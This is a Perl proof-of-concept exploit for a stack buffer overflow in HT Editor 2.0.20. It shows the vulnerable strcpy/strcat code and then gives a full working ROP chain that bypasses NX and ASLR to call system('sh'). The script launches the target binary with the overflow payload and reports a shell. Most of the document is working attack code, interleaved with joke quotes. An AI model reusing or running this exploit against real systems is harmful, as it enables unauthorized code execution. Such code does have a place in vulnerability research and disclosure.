#!/usr/bin/perl
=head1 TITLE

HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ...  annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path

=head3 Code

 int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
 {
  char *o = result;
  if (!sys_path_is_absolute(filename, delim)) {
   if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
   int ol = strlen(o);
   if (ol && !delim(o[ol-1])) {
    o[ol] = '/';
    o[ol+1] = 0;
   }
  } else *o = 0;
  strcat(o, filename); //<-- And here it is, good old unsecure function
  int k = flatten_path(o, delim);
  return (k == 0) ? 0 : EINVAL;
 }

=head3 AUTHORS

 * ZadYree
 * 3LRVS crew

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.

Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
Bender: Shut up and get to the point!
=cut

use 5.010;
use Cwd;

my $bin = shift;
die "[-] Bad filename.\n" unless (-e $bin);

# Let's now dive into
my $pool = [
   ## Fry: This snow is beautiful. I'm glad global warming never happened.    ##
   ## Leela: Actually, it did. But thank God nuclear winter canceled it out.  ##
    pack('V', 0x80b395e),   # pop %esi; ret;
    pack('V', 0x81bd518),   # endwin@GOT
    pack('V', 0x80b5903),   # mov %esi, %eax; pop pop pop ret;
    pack('V', 0xb00b4dad) x 3,  # JUNK
    pack('V', 0x813527b),   # mov (%eax), %eax; add $0x1c, %esp; ret;
    pack('V', 0xabadf00d) x 7,  # JUNK
    pack('V', 0x813589b),   # call *%eax;
    
   ##  Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
    pack('V', 0x80b395e),   # pop %esi; ret;
    pack('V', 0x81bd3fc),   # __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
    pack('V', 0x80b5903),   # mov %esi, %eax; pop pop pop ret;
    pack('V', 0xdeadbeef) x 3,  # JUNK
    pack('V', 0x80c21e6),   # add %eax, $0x4; ret; // Beat my 8 bit metal ass.
    pack('V', 0x813527b),   # mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
    pack('V', 0xdeafface) x 7,  # JUNK
    pack('V', 0x80b395e),   # pop %esi; ret;
    pack('V', 0x292ceaab),   # A number to get the right
    pack('V', 0x80512a6),   # add %esi, %eax; pop pop pop ret;
    pack('V', 0xc0b4beef) x 3,  # JUNK
    pack('V', 0x80d4612),   # sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
    pack('V', 0x813589b),   # call *%eax;
    pack('V', 0x804aa10),   # exit@plt
    pack('V', 0x816928f),   # 'sh' string
];

=begin printPayload
my $buff = '"A"x' . (4107 - length(getcwd));

my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));

my $payload = qq{`perl -e 'print $buff . "$rop";'`};

say $bin . ' ' . $payload;
__END__
=end printPayload
=cut

say "[*] Executing system('sh')";

my $buff = ("A" x (4107 - length(getcwd)));
my $rop = join("", @$pool);
system($bin, $buff . $rop);
say "[+] Got Shell!";